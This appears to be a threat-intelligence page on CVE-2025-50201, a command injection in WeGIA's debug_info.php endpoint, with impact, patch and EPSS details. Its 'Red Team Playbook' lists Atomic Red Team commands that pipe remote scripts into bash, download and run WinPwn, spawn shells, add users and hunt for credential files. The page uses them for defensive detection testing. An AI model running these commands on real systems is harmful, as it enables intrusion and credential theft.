CVE-2025-50201
Overview
This vulnerability is an OS Command Injection caused by improper input sanitization in the LabRedesCefetRJ WeGIA web manager. Specifically, the 'branch' parameter in the /html/configuracao/debug_info.php endpoint is concatenated directly into a shell command without adequate validation or escaping. This flaw occurs within the web application's configuration debugging component, allowing injection of arbitrary shell commands executed by the underlying operating system.
Vulnerability Description
WeGIA is a web manager for charitable institutions. Prior to version 3.4.2, an OS Command Injection vulnerability was identified in the /html/configuracao/debug_info.php endpoint. The branch parameter is not properly sanitized before being concatenated and executed in a shell command on the server's operating system. This flaw allows an unauthenticated attacker to execute arbitrary commands on the server with the privileges of the web server user (www-data). This issue has been patched in version 3.4.2.
Impact
An unauthenticated attacker with network access can exploit this vulnerability to execute arbitrary operating system commands on the server with the privileges of the web server user (www-data). This can lead to full system compromise, data exposure, or service disruption. The attack requires no user interaction and no authentication (AV:N/AC:L/PR:N/UI:N), making it highly exploitable remotely. Such control can facilitate lateral movement or persistent access within the affected environment.
Solution
To remediate this vulnerability, upgrade LabRedesCefetRJ WeGIA to version 3.4.2 or later, where the issue has been addressed. Detailed patch instructions and the advisory are available in the GitHub security advisory GHSA-52p5-5fmw-9hrf and the associated commit 45f32ad1d52775fc99f3c90075c8136c6d4d1d3d. No workarounds are documented; applying the official patch is the recommended mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in WeGIA, a web management application for charitable institutions, stems from an OS Command Injection flaw located in the /html/configuracao/debug_info.php endpoint. This vulnerability arises due to inadequate input validation on the branch parameter, which allows an attacker to inject arbitrary commands that are subsequently executed by the server’s operating system. When the branch parameter is concatenated into a shell command without proper sanitization, it opens a pathway for malicious actors to execute commands with the privileges of the web server user, typically www-data. This lack of stringent input validation is a critical oversight, as it directly exposes the server to potential exploitation.
Attack vectors for this vulnerability are straightforward, allowing unauthenticated users to exploit the flaw remotely. An attacker could craft a malicious request to the debug_info.php endpoint, manipulating the branch parameter to include shell commands. For instance, an attacker might use a payload that invokes system commands to read sensitive files, create new user accounts, or even launch further attacks on the network. The simplicity of this exploitation method makes it particularly dangerous, as it requires no authentication or advanced skills, thereby broadening the pool of potential attackers.
The real-world impact of this vulnerability is significant, especially for organizations relying on WeGIA for managing charitable activities. Successful exploitation could lead to unauthorized access to sensitive data, including donor information, financial records, and operational details. The repercussions of such a breach could be devastating, resulting in financial losses, reputational damage, and legal liabilities. Charitable institutions often operate under stringent regulatory frameworks, and a data breach could lead to non-compliance with data protection laws, further exacerbating the risks involved. The potential for an attacker to leverage the compromised system for lateral movement within the network also poses a serious threat to the overall security posture of the organization.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the WeGIA application to the latest version is crucial, as the patch for this vulnerability is available in version 3.4.2. Additionally, employing web application firewalls (WAF) can help filter out malicious requests before they reach the application. Organizations should also conduct regular security assessments, including penetration testing and code reviews, to identify and remediate vulnerabilities proactively. Implementing strict input validation and sanitization practices within the application code can further reduce the risk of command injection vulnerabilities. Finally, monitoring server logs for unusual activity can provide early warning signs of attempted exploitation.
In conclusion, the OS Command Injection vulnerability in WeGIA poses a serious threat to the security of charitable institutions that utilize this web management tool. The ease of exploitation, coupled with the potential for significant impact, underscores the importance of maintaining robust security practices. By prioritizing timely updates, employing security measures, and fostering a culture of security awareness, organizations can better protect themselves against such vulnerabilities and mitigate the associated risks.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-50201, rising by over 39% to place this vulnerability in the 97th percentile for exploit likelihood. This upward trend, although not classified as rapidly increasing, indicates growing attacker interest and a heightened probability of exploitation attempts in the near term. Our telemetry does not currently show new exploit variants or active campaigns targeting this flaw, but the elevated EPSS suggests that threat actors may be preparing or testing exploit techniques. For defenders, this shift signals an increased urgency to monitor for anomalous activity related to the vulnerable endpoint and to reassess defensive postures accordingly. The risk level for CVE-2025-50201 should now be considered elevated beyond the initial critical severity rating, reflecting a more imminent threat environment driven by attacker intent and capability indicators.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wegia | Wegia | All |
cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
2 eventsSighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-50201 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-52p5-5fmw-9hrf |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/LabRedesCefetRJ/WeGIA/commit/45f32ad1d52775fc99f3c90075c8136c6d4d1d3d |